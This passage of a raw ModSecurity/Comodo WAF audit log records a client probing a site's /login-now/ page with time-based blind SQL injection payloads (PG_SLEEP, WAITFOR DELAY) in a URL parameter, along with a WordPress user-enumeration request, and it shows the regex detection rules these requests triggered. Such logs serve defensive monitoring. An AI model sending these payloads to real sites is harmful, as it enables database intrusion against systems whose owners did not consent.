"50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website);SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_source: website);SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website);SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89Bse_3eHPNozq0G0O1AAAAAU"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_source: website);SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89Bse_3eHPNozq0G0O1AAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023430516472 237954 (- - -) Stopwatch2: 1750023430516472 237954; combined=3150, p1=351, p2=2647, p3=0, p4=0, p5=152, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --453c1515-Z-- --5cbfba1f-A-- [16/Jun/2025:03:07:11.187847 +0530] aE89Bh-kH31pk4mNbsU-5AAAAAo 91.84.104.205 33890 127.0.0.1 7081 --5cbfba1f-B-- GET /wp-json/wp/v2/users/1 HTTP/1.0 Host: best-website-designs.com X-Real-IP: 91.84.104.205 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: */* Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip --5cbfba1f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://best-website-designs.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --5cbfba1f-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "best-website-designs.com"] [uri "/wp-json/wp/v2/users/1"] [unique_id "aE89Bh-kH31pk4mNbsU-5AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023430276172 911799 (- - -) Stopwatch2: 1750023430276172 911799; combined=2359, p1=401, p2=1831, p3=0, p4=0, p5=126, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5cbfba1f-Z-- --7d5e406e-A-- [16/Jun/2025:03:07:12.394685 +0530] aE89CNkGqt_oHz6gRVdI0QAAAAw 162.158.111.99 34004 127.0.0.1 7081 --7d5e406e-B-- GET /login-now/?utm_source=website%3BSELECT%20PG_SLEEP%285%29--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.99 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950535127dd73631-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --7d5e406e-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website;SELECT%20PG_SLEEP(5)--&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --7d5e406e-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website;SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_source: website;SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website;SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89CNkGqt_oHz6gRVdI0QAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_source: website;SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89CNkGqt_oHz6gRVdI0QAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023432146587 248188 (- - -) Stopwatch2: 1750023432146587 248188; combined=3152, p1=340, p2=2696, p3=0, p4=0, p5=115, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7d5e406e-Z-- --a19ae82b-A-- [16/Jun/2025:03:07:13.709305 +0530] aE89CXZqyQ8YfVGvJU7YfgAAAAY 162.158.94.123 34078 127.0.0.1 7081 --a19ae82b-B-- GET /login-now/?utm_source=website%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.123 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950535198ed73a84-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --a19ae82b-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website);WAITFOR%20DELAY%200:0:5--&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --a19ae82b-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website');WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89CXZqyQ8YfVGvJU7YfgAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website');WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89CXZqyQ8YfVGvJU7YfgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023433510472 198948 (- - -) Stopwatch2: 1750023433510472 198948; combined=5459, p1=438, p2=4865, p3=0, p4=0, p5=155, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a19ae82b-Z-- --366d5068-A-- [16/Jun/2025:03:07:14.696999 +0530] aE89CgiLzf5Jb_3uGhHfrgAAAAA 172.69.151.232 34144 127.0.0.1 7081 --366d5068-B-- GET /login-now/?utm_source=website%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.151.232 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505351faf4c5d76-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --366d5068-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website;WAITFOR%20DELAY%200:0:5--&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --366d5068-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;*? ?waitfor (?:delay|time) [\\x22'`]|;.{0,399}?: ?goto)|\\balter ?\\w+.{0,399}?\\bcha(?:racte)?r set \\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: website';WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website';WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89CgiLzf5Jb_3uGhHfrgAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;*? ?waitfor (?:delay|time) [\\\\\\\\x22'`]|;.{0,399}?: ?goto)|\\\\\\\\balter ?\\\\\\\\w+.{0,399}?\\\\\\\\bcha(?:racte)?r set \\\\\\\\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: website';WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89CgiLzf5Jb_3uGhHfrgAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website';WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89CgiLzf5Jb_3uGhHfrgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023434501840 195255 (- - -) Stopwatch2: 1750023434501840 195255; combined=4045, p1=344, p2=3515, p3=0, p4=0, p5=186, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --366d5068-Z-- --0e4c693f-A-- [16/Jun/2025:03:07:16.031048 +0530] aE89C_kun2jazaBvM9tt3QAAAAE 172.71.172.142 34214 127.0.0.1 7081 --0e4c693f-B-- GET /login-now/?utm_source=website%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.142 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053527f969d388-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --0e4c693f-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website);WAITFOR%20DELAY%200:0:5--&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --0e4c693f-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website);WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89C_kun2jazaBvM9tt3QAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website);WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89C_kun2jazaBvM9tt3QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023435810992 220180 (- - -) Stopwatch2: 1750023435810992 220180; combined=3701, p1=346, p2=3191, p3=0, p4=0, p5=163, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0e4c693f-Z-- --db8a9129-A-- [16/Jun/2025:03:07:17.107928 +0530] aE89DFR6EeXjkGzEkblktQAAAAs 172.71.144.88 34290 127.0.0.1 7081 --db8a9129-B-- GET /login-now/?utm_source=website%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.88 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950535304ce9dbb7-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --db8a9129-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website;WAITFOR%20DELAY%200:0:5--&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --db8a9129-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website;WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_medium=top-bar&utm_campaign=login-now"] [severity 